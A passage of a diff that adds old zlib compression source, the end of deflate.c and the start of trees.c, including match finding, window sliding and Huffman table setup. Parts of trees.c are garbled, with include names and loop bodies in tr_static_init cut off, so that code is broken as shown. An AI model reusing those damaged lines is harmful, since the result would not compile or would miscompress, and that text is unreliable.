+ flush_pending(strm); + /* If avail_out is zero, the application will call deflate again + * to flush the rest. + */ + s->noheader = -1; /* write the trailer only once! */ + return s->pending != 0 ? Z_OK : Z_STREAM_END; +} + +/* ========================================================================= */ +int deflateEnd (strm) + z_streamp strm; +{ + int status; + deflate_state *s; + + if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR; + s = (deflate_state *) strm->state; + + status = s->status; + if (status != INIT_STATE && status != BUSY_STATE && + status != FINISH_STATE) { + return Z_STREAM_ERROR; + } + + /* Deallocate in reverse order of allocations: */ + TRY_FREE(strm, s->pending_buf); + TRY_FREE(strm, s->head); + TRY_FREE(strm, s->prev); + TRY_FREE(strm, s->window); + + ZFREE(strm, s); + strm->state = Z_NULL; + + return status == BUSY_STATE ? Z_DATA_ERROR : Z_OK; +} + +/* ========================================================================= + * Copy the source state to the destination state. + */ +int deflateCopy (dest, source) + z_streamp dest; + z_streamp source; +{ + deflate_state *ds; + deflate_state *ss; + ushf *overlay; + + if (source == Z_NULL || dest == Z_NULL || source->state == Z_NULL) + return Z_STREAM_ERROR; + ss = (deflate_state *) source->state; + + zmemcpy(dest, source, sizeof(*dest)); + + ds = (deflate_state *) ZALLOC(dest, 1, sizeof(deflate_state)); + if (ds == Z_NULL) return Z_MEM_ERROR; + dest->state = (struct internal_state FAR *) ds; + zmemcpy(ds, ss, sizeof(*ds)); + ds->strm = dest; + + ds->window = (Bytef *) ZALLOC(dest, ds->w_size, 2*sizeof(Byte)); + ds->prev = (Posf *) ZALLOC(dest, ds->w_size, sizeof(Pos)); + ds->head = (Posf *) ZALLOC(dest, ds->hash_size, sizeof(Pos)); + overlay = (ushf *) ZALLOC(dest, ds->lit_bufsize, sizeof(ush)+2); + ds->pending_buf = (uchf *) overlay; + + if (ds->window == Z_NULL || ds->prev == Z_NULL || ds->head == Z_NULL || + ds->pending_buf == Z_NULL) { + deflateEnd (dest); + return Z_MEM_ERROR; + } + /* ??? following zmemcpy doesn't work for 16-bit MSDOS */ + zmemcpy(ds->window, ss->window, ds->w_size * 2 * sizeof(Byte)); + zmemcpy(ds->prev, ss->prev, ds->w_size * sizeof(Pos)); + zmemcpy(ds->head, ss->head, ds->hash_size * sizeof(Pos)); + zmemcpy(ds->pending_buf, ss->pending_buf, (uInt)ds->pending_buf_size); + + ds->pending_out = ds->pending_buf + (ss->pending_out - ss->pending_buf); + ds->d_buf = overlay + ds->lit_bufsize/sizeof(ush); + ds->l_buf = ds->pending_buf + (1+sizeof(ush))*ds->lit_bufsize; + + ds->l_desc.dyn_tree = ds->dyn_ltree; + ds->d_desc.dyn_tree = ds->dyn_dtree; + ds->bl_desc.dyn_tree = ds->bl_tree; + + return Z_OK; +} + +/* =========================================================================== + * Return the number of bytes of output which are immediately available + * for output from the decompressor. + */ +int deflateOutputPending (strm) + z_streamp strm; +{ + if (strm == Z_NULL || strm->state == Z_NULL) return 0; + + return ((deflate_state *)(strm->state))->pending; +} + +/* =========================================================================== + * Read a new buffer from the current input stream, update the adler32 + * and total number of bytes read. All deflate() input goes through + * this function so some applications may wish to modify it to avoid + * allocating a large strm->next_in buffer and copying from it. + * (See also flush_pending()). + */ +local int read_buf(strm, buf, size) + z_streamp strm; + charf *buf; + unsigned size; +{ + unsigned len = strm->avail_in; + + if (len > size) len = size; + if (len == 0) return 0; + + strm->avail_in -= len; + + if (!((deflate_state *)(strm->state))->noheader) { + strm->adler = adler32(strm->adler, strm->next_in, len); + } + zmemcpy(buf, strm->next_in, len); + strm->next_in += len; + strm->total_in += len; + + return (int)len; +} + +/* =========================================================================== + * Initialize the "longest match" routines for a new zlib stream + */ +local void lm_init (s) + deflate_state *s; +{ + s->window_size = (ulg)2L*s->w_size; + + CLEAR_HASH(s); + + /* Set the default configuration parameters: + */ + s->max_lazy_match = configuration_table[s->level].max_lazy; + s->good_match = configuration_table[s->level].good_length; + s->nice_match = configuration_table[s->level].nice_length; + s->max_chain_length = configuration_table[s->level].max_chain; + + s->strstart = 0; + s->block_start = 0L; + s->lookahead = 0; + s->match_length = s->prev_length = MIN_MATCH-1; + s->match_available = 0; + s->ins_h = 0; +#ifdef ASMV + match_init(); /* initialize the asm code */ +#endif +} + +/* =========================================================================== + * Set match_start to the longest match starting at the given string and + * return its length. Matches shorter or equal to prev_length are discarded, + * in which case the result is equal to prev_length and match_start is + * garbage. + * IN assertions: cur_match is the head of the hash chain for the current + * string (strstart) and its distance is <= MAX_DIST, and prev_length >= 1 + * OUT assertion: the match length is not greater than s->lookahead. + */ +#ifndef ASMV +/* For 80x86 and 680x0, an optimized version will be provided in match.asm or + * match.S. The code will be functionally equivalent. + */ +local uInt longest_match(s, cur_match) + deflate_state *s; + IPos cur_match; /* current match */ +{ + unsigned chain_length = s->max_chain_length;/* max hash chain length */ + register Bytef *scan = s->window + s->strstart; /* current string */ + register Bytef *match; /* matched string */ + register int len; /* length of current match */ + int best_len = s->prev_length; /* best match length so far */ + int nice_match = s->nice_match; /* stop if match long enough */ + IPos limit = s->strstart > (IPos)MAX_DIST(s) ? + s->strstart - (IPos)MAX_DIST(s) : NIL; + /* Stop when cur_match becomes <= limit. To simplify the code, + * we prevent matches with the string of window index 0. + */ + Posf *prev = s->prev; + uInt wmask = s->w_mask; + +#ifdef UNALIGNED_OK + /* Compare two bytes at a time. Note: this is not always beneficial. + * Try with and without -DUNALIGNED_OK to check. + */ + register Bytef *strend = s->window + s->strstart + MAX_MATCH - 1; + register ush scan_start = *(ushf*)scan; + register ush scan_end = *(ushf*)(scan+best_len-1); +#else + register Bytef *strend = s->window + s->strstart + MAX_MATCH; + register Byte scan_end1 = scan[best_len-1]; + register Byte scan_end = scan[best_len]; +#endif + + /* The code is optimized for HASH_BITS >= 8 and MAX_MATCH-2 multiple of 16. + * It is easy to get rid of this optimization if necessary. + */ + Assert(s->hash_bits >= 8 && MAX_MATCH == 258, "Code too clever"); + + /* Do not waste too much time if we already have a good match: */ + if (s->prev_length >= s->good_match) { + chain_length >>= 2; + } + /* Do not look for matches beyond the end of the input. This is necessary + * to make deflate deterministic. + */ + if ((uInt)nice_match > s->lookahead) nice_match = s->lookahead; + + Assert((ulg)s->strstart <= s->window_size-MIN_LOOKAHEAD, "need lookahead"); + + do { + Assert(cur_match < s->strstart, "no future"); + match = s->window + cur_match; + + /* Skip to next match if the match length cannot increase + * or if the match length is less than 2: + */ +#if (defined(UNALIGNED_OK) && MAX_MATCH == 258) + /* This code assumes sizeof(unsigned short) == 2. Do not use + * UNALIGNED_OK if your compiler uses a different size. + */ + if (*(ushf*)(match+best_len-1) != scan_end || + *(ushf*)match != scan_start) continue; + + /* It is not necessary to compare scan[2] and match[2] since they are + * always equal when the other bytes match, given that the hash keys + * are equal and that HASH_BITS >= 8. Compare 2 bytes at a time at + * strstart+3, +5, ... up to strstart+257. We check for insufficient + * lookahead only every 4th comparison; the 128th check will be made + * at strstart+257. If MAX_MATCH-2 is not a multiple of 8, it is + * necessary to put more guard bytes at the end of the window, or + * to check more often for insufficient lookahead. + */ + Assert(scan[2] == match[2], "scan[2]?"); + scan++, match++; + do { + } while (*(ushf*)(scan+=2) == *(ushf*)(match+=2) && + *(ushf*)(scan+=2) == *(ushf*)(match+=2) && + *(ushf*)(scan+=2) == *(ushf*)(match+=2) && + *(ushf*)(scan+=2) == *(ushf*)(match+=2) && + scan < strend); + /* The funny "do {}" generates better code on most compilers */ + + /* Here, scan <= window+strstart+257 */ + Assert(scan <= s->window+(unsigned)(s->window_size-1), "wild scan"); + if (*scan == *match) scan++; + + len = (MAX_MATCH - 1) - (int)(strend-scan); + scan = strend - (MAX_MATCH-1); + +#else /* UNALIGNED_OK */ + + if (match[best_len] != scan_end || + match[best_len-1] != scan_end1 || + *match != *scan || + *++match != scan[1]) continue; + + /* The check at best_len-1 can be removed because it will be made + * again later. (This heuristic is not always a win.) + * It is not necessary to compare scan[2] and match[2] since they + * are always equal when the other bytes match, given that + * the hash keys are equal and that HASH_BITS >= 8. + */ + scan += 2, match++; + Assert(*scan == *match, "match[2]?"); + + /* We check for insufficient lookahead only every 8th comparison; + * the 256th check will be made at strstart+258. + */ + do { + } while (*++scan == *++match && *++scan == *++match && + *++scan == *++match && *++scan == *++match && + *++scan == *++match && *++scan == *++match && + *++scan == *++match && *++scan == *++match && + scan < strend); + + Assert(scan <= s->window+(unsigned)(s->window_size-1), "wild scan"); + + len = MAX_MATCH - (int)(strend - scan); + scan = strend - MAX_MATCH; + +#endif /* UNALIGNED_OK */ + + if (len > best_len) { + s->match_start = cur_match; + best_len = len; + if (len >= nice_match) break; +#ifdef UNALIGNED_OK + scan_end = *(ushf*)(scan+best_len-1); +#else + scan_end1 = scan[best_len-1]; + scan_end = scan[best_len]; +#endif + } + } while ((cur_match = prev[cur_match & wmask]) > limit + && --chain_length != 0); + + if ((uInt)best_len <= s->lookahead) return best_len; + return s->lookahead; +} +#endif /* ASMV */ + +#ifdef DEBUG_ZLIB +/* =========================================================================== + * Check that the match at match_start is indeed a match. + */ +local void check_match(s, start, match, length) + deflate_state *s; + IPos start, match; + int length; +{ + /* check that the match is indeed a match */ + if (zmemcmp((charf *)s->window + match, + (charf *)s->window + start, length) != EQUAL) { + fprintf(stderr, " start %u, match %u, length %d\n", + start, match, length); + do { + fprintf(stderr, "%c%c", s->window[match++], s->window[start++]); + } while (--length != 0); + z_error("invalid match"); + } + if (z_verbose > 1) { + fprintf(stderr,"\\[%d,%d]", start-match, length); + do { putc(s->window[start++], stderr); } while (--length != 0); + } +} +#else +# define check_match(s, start, match, length) +#endif + +/* =========================================================================== + * Fill the window when the lookahead becomes insufficient. + * Updates strstart and lookahead. + * + * IN assertion: lookahead < MIN_LOOKAHEAD + * OUT assertions: strstart <= window_size-MIN_LOOKAHEAD + * At least one byte has been read, or avail_in == 0; reads are + * performed for at least two bytes (required for the zip translate_eol + * option -- not supported here). + */ +local void fill_window(s) + deflate_state *s; +{ + register unsigned n, m; + register Posf *p; + unsigned more; /* Amount of free space at the end of the window. */ + uInt wsize = s->w_size; + + do { + more = (unsigned)(s->window_size -(ulg)s->lookahead -(ulg)s->strstart); + + /* Deal with !@#$% 64K limit: */ + if (more == 0 && s->strstart == 0 && s->lookahead == 0) { + more = wsize; + + } else if (more == (unsigned)(-1)) { + /* Very unlikely, but possible on 16 bit machine if strstart == 0 + * and lookahead == 1 (input done one byte at time) + */ + more--; + + /* If the window is almost full and there is insufficient lookahead, + * move the upper half to the lower one to make room in the upper half. + */ + } else if (s->strstart >= wsize+MAX_DIST(s)) { + + zmemcpy((charf *)s->window, (charf *)s->window+wsize, + (unsigned)wsize); + s->match_start -= wsize; + s->strstart -= wsize; /* we now have strstart >= MAX_DIST */ + s->block_start -= (long) wsize; + + /* Slide the hash table (could be avoided with 32 bit values + at the expense of memory usage). We slide even when level == 0 + to keep the hash table consistent if we switch back to level > 0 + later. (Using level 0 permanently is not an optimal usage of + zlib, so we don't care about this pathological case.) + */ + n = s->hash_size; + p = &s->head[n]; + do { + m = *--p; + *p = (Pos)(m >= wsize ? m-wsize : NIL); + } while (--n); + + n = wsize; + p = &s->prev[n]; + do { + m = *--p; + *p = (Pos)(m >= wsize ? m-wsize : NIL); + /* If n is not on any hash chain, prev[n] is garbage but + * its value will never be used. + */ + } while (--n); + more += wsize; + } + if (s->strm->avail_in == 0) return; + + /* If there was no sliding: + * strstart <= WSIZE+MAX_DIST-1 && lookahead <= MIN_LOOKAHEAD - 1 && + * more == window_size - lookahead - strstart + * => more >= window_size - (MIN_LOOKAHEAD-1 + WSIZE + MAX_DIST-1) + * => more >= window_size - 2*WSIZE + 2 + * In the BIG_MEM or MMAP case (not yet supported), + * window_size == input_size + MIN_LOOKAHEAD && + * strstart + s->lookahead <= input_size => more >= MIN_LOOKAHEAD. + * Otherwise, window_size == 2*WSIZE so more >= 2. + * If there was sliding, more >= WSIZE. So in all cases, more >= 2. + */ + Assert(more >= 2, "more < 2"); + + n = read_buf(s->strm, (charf *)s->window + s->strstart + s->lookahead, + more); + s->lookahead += n; + + /* Initialize the hash value now that we have some input: */ + if (s->lookahead >= MIN_MATCH) { + s->ins_h = s->window[s->strstart]; + UPDATE_HASH(s, s->ins_h, s->window[s->strstart+1]); +#if MIN_MATCH != 3 + Call UPDATE_HASH() MIN_MATCH-3 more times +#endif + } + /* If the whole input has less than MIN_MATCH bytes, ins_h is garbage, + * but this is not important since only literal bytes will be emitted. + */ + + } while (s->lookahead < MIN_LOOKAHEAD && s->strm->avail_in != 0); +} + +/* =========================================================================== + * Flush the current block, with given end-of-file flag. + * IN assertion: strstart is set to the end of the current match. + */ +#define FLUSH_BLOCK_ONLY(s, eof) { \ + _tr_flush_block(s, (s->block_start >= 0L ? \ + (charf *)&s->window[(unsigned)s->block_start] : \ + (charf *)Z_NULL), \ + (ulg)((long)s->strstart - s->block_start), \ + (eof)); \ + s->block_start = s->strstart; \ + flush_pending(s->strm); \ + Tracev((stderr,"[FLUSH]")); \ +} + +/* Same but force premature exit if necessary. */ +#define FLUSH_BLOCK(s, eof) { \ + FLUSH_BLOCK_ONLY(s, eof); \ + if (s->strm->avail_out == 0) return (eof) ? finish_started : need_more; \ +} + +/* =========================================================================== + * Copy without compression as much as possible from the input stream, return + * the current block state. + * This function does not insert new strings in the dictionary since + * uncompressible data is probably not useful. This function is used + * only for the level=0 compression option. + * NOTE: this function should be optimized to avoid extra copying from + * window to pending_buf. + */ +local block_state deflate_stored(s, flush) + deflate_state *s; + int flush; +{ + /* Stored blocks are limited to 0xffff bytes, pending_buf is limited + * to pending_buf_size, and each stored block has a 5 byte header: + */ + ulg max_block_size = 0xffff; + ulg max_start; + + if (max_block_size > s->pending_buf_size - 5) { + max_block_size = s->pending_buf_size - 5; + } + + /* Copy as much as possible from input to output: */ + for (;;) { + /* Fill the window as much as possible: */ + if (s->lookahead <= 1) { + + Assert(s->strstart < s->w_size+MAX_DIST(s) || + s->block_start >= (long)s->w_size, "slide too late"); + + fill_window(s); + if (s->lookahead == 0 && flush == Z_NO_FLUSH) return need_more; + + if (s->lookahead == 0) break; /* flush the current block */ + } + Assert(s->block_start >= 0L, "block gone"); + + s->strstart += s->lookahead; + s->lookahead = 0; + + /* Emit a stored block if pending_buf will be full: */ + max_start = s->block_start + max_block_size; + if (s->strstart == 0 || (ulg)s->strstart >= max_start) { + /* strstart == 0 is possible when wraparound on 16-bit machine */ + s->lookahead = (uInt)(s->strstart - max_start); + s->strstart = (uInt)max_start; + FLUSH_BLOCK(s, 0); + } + /* Flush if we may have to slide, otherwise block_start may become + * negative and the data will be gone: + */ + if (s->strstart - (uInt)s->block_start >= MAX_DIST(s)) { + FLUSH_BLOCK(s, 0); + } + } + FLUSH_BLOCK(s, flush == Z_FINISH); + return flush == Z_FINISH ? finish_done : block_done; +} + +/* =========================================================================== + * Compress as much as possible from the input stream, return the current + * block state. + * This function does not perform lazy evaluation of matches and inserts + * new strings in the dictionary only for unmatched strings or for short + * matches. It is used only for the fast compression options. + */ +local block_state deflate_fast(s, flush) + deflate_state *s; + int flush; +{ + IPos hash_head = NIL; /* head of the hash chain */ + int bflush; /* set if current block must be flushed */ + + for (;;) { + /* Make sure that we always have enough lookahead, except + * at the end of the input file. We need MAX_MATCH bytes + * for the next match, plus MIN_MATCH bytes to insert the + * string following the next match. + */ + if (s->lookahead < MIN_LOOKAHEAD) { + fill_window(s); + if (s->lookahead < MIN_LOOKAHEAD && flush == Z_NO_FLUSH) { + return need_more; + } + if (s->lookahead == 0) break; /* flush the current block */ + } + + /* Insert the string window[strstart .. strstart+2] in the + * dictionary, and set hash_head to the head of the hash chain: + */ + if (s->lookahead >= MIN_MATCH) { + INSERT_STRING(s, s->strstart, hash_head); + } + + /* Find the longest match, discarding those <= prev_length. + * At this point we have always match_length < MIN_MATCH + */ + if (hash_head != NIL && s->strstart - hash_head <= MAX_DIST(s)) { + /* To simplify the code, we prevent matches with the string + * of window index 0 (in particular we have to avoid a match + * of the string with itself at the start of the input file). + */ + if (s->strategy != Z_HUFFMAN_ONLY) { + s->match_length = longest_match (s, hash_head); + } + /* longest_match() sets match_start */ + } + if (s->match_length >= MIN_MATCH) { + check_match(s, s->strstart, s->match_start, s->match_length); + + bflush = _tr_tally(s, s->strstart - s->match_start, + s->match_length - MIN_MATCH); + + s->lookahead -= s->match_length; + + /* Insert new strings in the hash table only if the match length + * is not too large. This saves time but degrades compression. + */ + if (s->match_length <= s->max_insert_length && + s->lookahead >= MIN_MATCH) { + s->match_length--; /* string at strstart already in hash table */ + do { + s->strstart++; + INSERT_STRING(s, s->strstart, hash_head); + /* strstart never exceeds WSIZE-MAX_MATCH, so there are + * always MIN_MATCH bytes ahead. + */ + } while (--s->match_length != 0); + s->strstart++; + } else { + s->strstart += s->match_length; + s->match_length = 0; + s->ins_h = s->window[s->strstart]; + UPDATE_HASH(s, s->ins_h, s->window[s->strstart+1]); +#if MIN_MATCH != 3 + Call UPDATE_HASH() MIN_MATCH-3 more times +#endif + /* If lookahead < MIN_MATCH, ins_h is garbage, but it does not + * matter since it will be recomputed at next deflate call. + */ + } + } else { + /* No match, output a literal byte */ + Tracevv((stderr,"%c", s->window[s->strstart])); + bflush = _tr_tally (s, 0, s->window[s->strstart]); + s->lookahead--; + s->strstart++; + } + if (bflush) FLUSH_BLOCK(s, 0); + } + FLUSH_BLOCK(s, flush == Z_FINISH); + return flush == Z_FINISH ? finish_done : block_done; +} + +/* =========================================================================== + * Same as above, but achieves better compression. We use a lazy + * evaluation for matches: a match is finally adopted only if there is + * no better match at the next window position. + */ +local block_state deflate_slow(s, flush) + deflate_state *s; + int flush; +{ + IPos hash_head = NIL; /* head of hash chain */ + int bflush; /* set if current block must be flushed */ + + /* Process the input block. */ + for (;;) { + /* Make sure that we always have enough lookahead, except + * at the end of the input file. We need MAX_MATCH bytes + * for the next match, plus MIN_MATCH bytes to insert the + * string following the next match. + */ + if (s->lookahead < MIN_LOOKAHEAD) { + fill_window(s); + if (s->lookahead < MIN_LOOKAHEAD && flush == Z_NO_FLUSH) { + return need_more; + } + if (s->lookahead == 0) break; /* flush the current block */ + } + + /* Insert the string window[strstart .. strstart+2] in the + * dictionary, and set hash_head to the head of the hash chain: + */ + if (s->lookahead >= MIN_MATCH) { + INSERT_STRING(s, s->strstart, hash_head); + } + + /* Find the longest match, discarding those <= prev_length. + */ + s->prev_length = s->match_length, s->prev_match = s->match_start; + s->match_length = MIN_MATCH-1; + + if (hash_head != NIL && s->prev_length < s->max_lazy_match && + s->strstart - hash_head <= MAX_DIST(s)) { + /* To simplify the code, we prevent matches with the string + * of window index 0 (in particular we have to avoid a match + * of the string with itself at the start of the input file). + */ + if (s->strategy != Z_HUFFMAN_ONLY) { + s->match_length = longest_match (s, hash_head); + } + /* longest_match() sets match_start */ + + if (s->match_length <= 5 && (s->strategy == Z_FILTERED || + (s->match_length == MIN_MATCH && + s->strstart - s->match_start > TOO_FAR))) { + + /* If prev_match is also MIN_MATCH, match_start is garbage + * but we will ignore the current match anyway. + */ + s->match_length = MIN_MATCH-1; + } + } + /* If there was a match at the previous step and the current + * match is not better, output the previous match: + */ + if (s->prev_length >= MIN_MATCH && s->match_length <= s->prev_length) { + uInt max_insert = s->strstart + s->lookahead - MIN_MATCH; + /* Do not insert strings in hash table beyond this. */ + + check_match(s, s->strstart-1, s->prev_match, s->prev_length); + + bflush = _tr_tally(s, s->strstart -1 - s->prev_match, + s->prev_length - MIN_MATCH); + + /* Insert in hash table all strings up to the end of the match. + * strstart-1 and strstart are already inserted. If there is not + * enough lookahead, the last two strings are not inserted in + * the hash table. + */ + s->lookahead -= s->prev_length-1; + s->prev_length -= 2; + do { + if (++s->strstart <= max_insert) { + INSERT_STRING(s, s->strstart, hash_head); + } + } while (--s->prev_length != 0); + s->match_available = 0; + s->match_length = MIN_MATCH-1; + s->strstart++; + + if (bflush) FLUSH_BLOCK(s, 0); + + } else if (s->match_available) { + /* If there was no match at the previous position, output a + * single literal. If there was a match but the current match + * is longer, truncate the previous match to a single literal. + */ + Tracevv((stderr,"%c", s->window[s->strstart-1])); + if (_tr_tally (s, 0, s->window[s->strstart-1])) { + FLUSH_BLOCK_ONLY(s, 0); + } + s->strstart++; + s->lookahead--; + if (s->strm->avail_out == 0) return need_more; + } else { + /* There is no previous match to compare with, wait for + * the next step to decide. + */ + s->match_available = 1; + s->strstart++; + s->lookahead--; + } + } + Assert (flush != Z_NO_FLUSH, "no flush?"); + if (s->match_available) { + Tracevv((stderr,"%c", s->window[s->strstart-1])); + _tr_tally (s, 0, s->window[s->strstart-1]); + s->match_available = 0; + } + FLUSH_BLOCK(s, flush == Z_FINISH); + return flush == Z_FINISH ? finish_done : block_done; +} +/* --- deflate.c */ + +/* +++ trees.c */ +/* trees.c -- output deflated data using Huffman coding + * Copyright (C) 1995-1996 Jean-loup Gailly + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* + * ALGORITHM + * + * The "deflation" process uses several Huffman trees. The more + * common source values are represented by shorter bit sequences. + * + * Each code tree is stored in a compressed form which is itself + * a Huffman encoding of the lengths of all the code strings (in + * ascending order by source values). The actual code strings are + * reconstructed from the lengths in the inflate process, as described + * in the deflate specification. + * + * REFERENCES + * + * Deutsch, L.P.,"'Deflate' Compressed Data Format Specification". + * Available in ftp.uu.net:/pub/archiving/zip/doc/deflate-1.1.doc + * + * Storer, James A. + * Data Compression: Methods and Theory, pp. 49-50. + * Computer Science Press, 1988. ISBN 0-7167-8156-5. + * + * Sedgewick, R. + * Algorithms, p290. + * Addison-Wesley, 1983. ISBN 0-201-06672-6. + */ + +/* From: trees.c,v 1.11 1996/07/24 13:41:06 me Exp $ */ + +/* #include "deflate.h" */ + +#ifdef DEBUG_ZLIB +# include +#endif + +/* =========================================================================== + * Constants + */ + +#define MAX_BL_BITS 7 +/* Bit length codes must not exceed MAX_BL_BITS bits */ + +#define END_BLOCK 256 +/* end of block literal code */ + +#define REP_3_6 16 +/* repeat previous bit length 3-6 times (2 bits of repeat count) */ + +#define REPZ_3_10 17 +/* repeat a zero length 3-10 times (3 bits of repeat count) */ + +#define REPZ_11_138 18 +/* repeat a zero length 11-138 times (7 bits of repeat count) */ + +local int extra_lbits[LENGTH_CODES] /* extra bits for each length code */ + = {0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0}; + +local int extra_dbits[D_CODES] /* extra bits for each distance code */ + = {0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13}; + +local int extra_blbits[BL_CODES]/* extra bits for each bit length code */ + = {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,3,7}; + +local uch bl_order[BL_CODES] + = {16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15}; +/* The lengths of the bit length codes are sent in order of decreasing + * probability, to avoid transmitting the lengths for unused bit length codes. + */ + +#define Buf_size (8 * 2*sizeof(char)) +/* Number of bits used within bi_buf. (bi_buf might be implemented on + * more than 16 bits on some systems.) + */ + +/* =========================================================================== + * Local data. These are initialized only once. + */ + +local ct_data static_ltree[L_CODES+2]; +/* The static literal tree. Since the bit lengths are imposed, there is no + * need for the L_CODES extra codes used during heap construction. However + * The codes 286 and 287 are needed to build a canonical tree (see _tr_init + * below). + */ + +local ct_data static_dtree[D_CODES]; +/* The static distance tree. (Actually a trivial tree since all codes use + * 5 bits.) + */ + +local uch dist_code[512]; +/* distance codes. The first 256 values correspond to the distances + * 3 .. 258, the last 256 values correspond to the top 8 bits of + * the 15 bit distances. + */ + +local uch length_code[MAX_MATCH-MIN_MATCH+1]; +/* length code for each normalized match length (0 == MIN_MATCH) */ + +local int base_length[LENGTH_CODES]; +/* First normalized length for each code (0 = MIN_MATCH) */ + +local int base_dist[D_CODES]; +/* First normalized distance for each code (0 = distance of 1) */ + +struct static_tree_desc_s { + ct_data *static_tree; /* static tree or NULL */ + intf *extra_bits; /* extra bits for each code or NULL */ + int extra_base; /* base index for extra_bits */ + int elems; /* max number of elements in the tree */ + int max_length; /* max bit length for the codes */ +}; + +local static_tree_desc static_l_desc = +{static_ltree, extra_lbits, LITERALS+1, L_CODES, MAX_BITS}; + +local static_tree_desc static_d_desc = +{static_dtree, extra_dbits, 0, D_CODES, MAX_BITS}; + +local static_tree_desc static_bl_desc = +{(ct_data *)0, extra_blbits, 0, BL_CODES, MAX_BL_BITS}; + +/* =========================================================================== + * Local (static) routines in this file. + */ + +local void tr_static_init OF((void)); +local void init_block OF((deflate_state *s)); +local void pqdownheap OF((deflate_state *s, ct_data *tree, int k)); +local void gen_bitlen OF((deflate_state *s, tree_desc *desc)); +local void gen_codes OF((ct_data *tree, int max_code, ushf *bl_count)); +local void build_tree OF((deflate_state *s, tree_desc *desc)); +local void scan_tree OF((deflate_state *s, ct_data *tree, int max_code)); +local void send_tree OF((deflate_state *s, ct_data *tree, int max_code)); +local int build_bl_tree OF((deflate_state *s)); +local void send_all_trees OF((deflate_state *s, int lcodes, int dcodes, + int blcodes)); +local void compress_block OF((deflate_state *s, ct_data *ltree, + ct_data *dtree)); +local void set_data_type OF((deflate_state *s)); +local unsigned bi_reverse OF((unsigned value, int length)); +local void bi_windup OF((deflate_state *s)); +local void bi_flush OF((deflate_state *s)); +local void copy_block OF((deflate_state *s, charf *buf, unsigned len, + int header)); + +#ifndef DEBUG_ZLIB +# define send_code(s, c, tree) send_bits(s, tree[(c)].Code, tree[(c)].Len) + /* Send a code of the given tree. c and tree must not have side effects */ + +#else /* DEBUG_ZLIB */ +# define send_code(s, c, tree) \ + { if (verbose>2) fprintf(stderr,"\ncd %3d ",(c)); \ + send_bits(s, tree[c].Code, tree[c].Len); } +#endif + +#define d_code(dist) \ + ((dist) < 256 ? dist_code[dist] : dist_code[256+((dist)>>7)]) +/* Mapping from a distance to a distance code. dist is the distance - 1 and + * must not have side effects. dist_code[256] and dist_code[257] are never + * used. + */ + +/* =========================================================================== + * Output a short LSB first on the stream. + * IN assertion: there is enough room in pendingBuf. + */ +#define put_short(s, w) { \ + put_byte(s, (uch)((w) & 0xff)); \ + put_byte(s, (uch)((ush)(w) >> 8)); \ +} + +/* =========================================================================== + * Send a value on a given number of bits. + * IN assertion: length <= 16 and value fits in length bits. + */ +#ifdef DEBUG_ZLIB +local void send_bits OF((deflate_state *s, int value, int length)); + +local void send_bits(s, value, length) + deflate_state *s; + int value; /* value to send */ + int length; /* number of bits */ +{ + Tracevv((stderr," l %2d v %4x ", length, value)); + Assert(length > 0 && length <= 15, "invalid length"); + s->bits_sent += (ulg)length; + + /* If not enough room in bi_buf, use (valid) bits from bi_buf and + * (16 - bi_valid) bits from value, leaving (width - (16-bi_valid)) + * unused bits in value. + */ + if (s->bi_valid > (int)Buf_size - length) { + s->bi_buf |= (value << s->bi_valid); + put_short(s, s->bi_buf); + s->bi_buf = (ush)value >> (Buf_size - s->bi_valid); + s->bi_valid += length - Buf_size; + } else { + s->bi_buf |= value << s->bi_valid; + s->bi_valid += length; + } +} +#else /* !DEBUG_ZLIB */ + +#define send_bits(s, value, length) \ +{ int len = (length);\ + if ((s)->bi_valid > (int)Buf_size - len) {\ + int val = (value);\ + (s)->bi_buf |= (val << (s)->bi_valid);\ + put_short((s), (s)->bi_buf);\ + (s)->bi_buf = (ush)val >> (Buf_size - (s)->bi_valid);\ + (s)->bi_valid += len - Buf_size;\ + } else {\ + (s)->bi_buf |= (value) << (s)->bi_valid;\ + (s)->bi_valid += len;\ + }\ +} +#endif /* DEBUG_ZLIB */ + +/* the arguments must not have side effects */ + +/* =========================================================================== + * Initialize the various 'constant' tables. In a multi-threaded environment, + * this function may be called by two threads concurrently, but this is + * harmless since both invocations do exactly the same thing. + */ +local void tr_static_init() +{ + static int static_init_done = 0; + int n; /* iterates over tree elements */ + int bits; /* bit counter */ + int length; /* length value */ + int code; /* code value */ + int dist; /* distance index */ + ush bl_count[MAX_BITS+1]; + /* number of codes at each bit length for an optimal tree */ + + if (static_init_done) return; + + /* Initialize the mapping length (0..255) -> length code (0..28) */ + length = 0; + for (code = 0; code < LENGTH_CODES-1; code++) { + base_length[code] = length; + for (n = 0; n < (1< dist code (0..29) */ + dist = 0; + for (code = 0 ; code < 16; code++) { + base_dist[code] = dist; + for (n = 0; n < (1<>= 7; /* from now on, all distances are divided by 128 */ + for ( ; code < D_CODES; code++) { + base_dist[code] = dist << 7; + for (n = 0; n < (1<<(extra_dbits[code]-7)); n++) { + dist_code[256 + dist++] = (uch)code; + } + } + Assert (dist == 256, "tr_static_init: 256+dist != 512"); + + /* Construct the codes of the static literal tree */ + for (bits = 0; bits <= MAX_BITS; bits++) bl_count[bits] = 0; + n = 0; + while (n <= 143) static_ltree[n++].Len = 8, bl_count[8]++; + while (n <= 255) static_ltree[n++].Len = 9, bl_count[9]++; + while (n <= 279) static_ltree[n++].Len = 7, bl_count[7]++; + while (n <= 287) static_ltree[n++].Len = 8, bl_count[8]++; + /* Codes 286 and 287 do not exist, but we must include them in the + * tree construction to get a canonical Huffman tree (longest code + * all ones) + */ + gen_codes((ct_data *)static_ltree, L_CODES+1, bl_count); + + /* The static distance tree is trivial: */ + for (n = 0; n < D_CODES; n++) { + static_dtree[n].Len = 5; + static_dtree[n].Code = bi_reverse((unsigned)n, 5); + } + static_init_done = 1; +} + +/* =========================================================================== + * Initialize the tree data structures for a new zlib stream. + */ +void _tr_init(deflate_state *s) +{ + tr_static_init(); + + s->compressed_len = 0L; + + s->l_desc.dyn_tree = s->dyn_ltree; + s->l_desc.stat_desc = &static_l_desc; + + s->d_desc.dyn_tree = s->dyn_dtree; + s->d_desc.stat_desc = &static_d_desc; + + s->bl_desc.dyn_tree = s->bl_tree; + 